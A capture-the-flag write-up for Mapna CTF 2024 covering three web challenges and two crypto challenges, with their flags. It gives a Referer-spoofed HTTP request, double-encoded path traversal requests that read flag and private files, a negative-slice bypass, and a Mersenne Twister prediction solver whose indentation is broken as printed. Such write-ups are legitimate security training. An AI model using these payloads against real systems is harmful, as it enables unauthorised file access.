Berlian Gabriel

Mapna CTF 2024

Web

Flag Holding

The flag can be found by modifying the GET request as follow:

Host: 18.184.219.56:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://flagland.internal/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

FLAG: MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f}

Novel Reader

There is a path traversal vulnerability which can be used to retrieve the 1st flag. Only checking the path name is starting with ‘public’ is not sufficient to prevent path traversal:

    if(not name.startswith('public/')):
        return {'success': False, 'msg': 'You can only read public novels!'}, 400

In order to trigger the path traversal, double encoding of ../ is needed.

GET /api/read/public/%252e%252e%252f%252e%252e%252fflag.txt HTTP/1.1
Host: 3.64.250.135:9000

FLAG: MAPNA{uhhh-1-7h1nk-1-f0r607-70-ch3ck-cr3d17>0-4b331d4b}

Novel Reader 2

The words_balance can be set to -1. Coupled with this particular implementation to read the content of the txt file,

' '.join(buf[0:session['words_balance']])

a txt file which contains more than 11 words can be read. In fact, by setting words_balance to -1, the content of a txt file can be read until its penultimate word.

Combining the words_balance value of -1, with the previous path traversal method, the 2nd flag can be retrieved.

GET /api/read/public/%252e%252e%252fprivate/A-Secret-Tale.txt HTTP/1.1
Host: 3.64.250.135:9000

FLAG: MAPNA{uhhh-y0u-607-m3-4641n-3f4b38571}

Crypto

What Next?

The encryption is obtained by XOR-ing KEY with the secret message:

c = KEY ^ m

The value of KEY and encryption result is provided in the output:

print(f'KEY = {KEY}')
print(f'enc = {enc}')

Hence, the secret message can be recovered by just XOR-ing the KEY with encryption result:

In [1]: long_to_bytes(KEY^enc)
Out[1]: b'MAPNA{R_U_MT19937_PRNG_Predictor?}'

FLAG: MAPNA{R_U_MT19937_PRNG_Predictor?}

What Next II?

From the given output, there are 79 x 256 bits of number that can be recovered, which are the result of pseudorandom generation using getrandbits(). This is equivalent to 632 x 32 bits of number, hence it can be supplied to RandCrack, and the state of Mersenne Twister matrix can be inferred, and the subsequent pseudo-randomly generated number can be guessed, and KEY can be retrieved. Below is the solver:

R=[]
Rb=[]

for i in range (1,80):
    R.append(TMP[i]//i**2)

for n in R:
    s = bin(n)[2:]
        while(len(s) < 256):
            s = '0' + s
        split=[s[i:i + 32] for i in range(0, len(s), 32)]
        for b in reversed(split):
            Rb.append(b)

rc=RandCrack()
for i in range(624):
    rc.submit(int(Rb[i],2))

rc.predict_getrandbits(256)

KEY = sum([rc.predict_getrandbits(256 >> _) ** 2 for _ in range(8)])

print(long_to_bytes(enc^KEY))

FLAG: MAPNA{4Re_y0U_MT19937_PRNG_pr3d!cT0r_R3ven9E_4057950503c1e3992}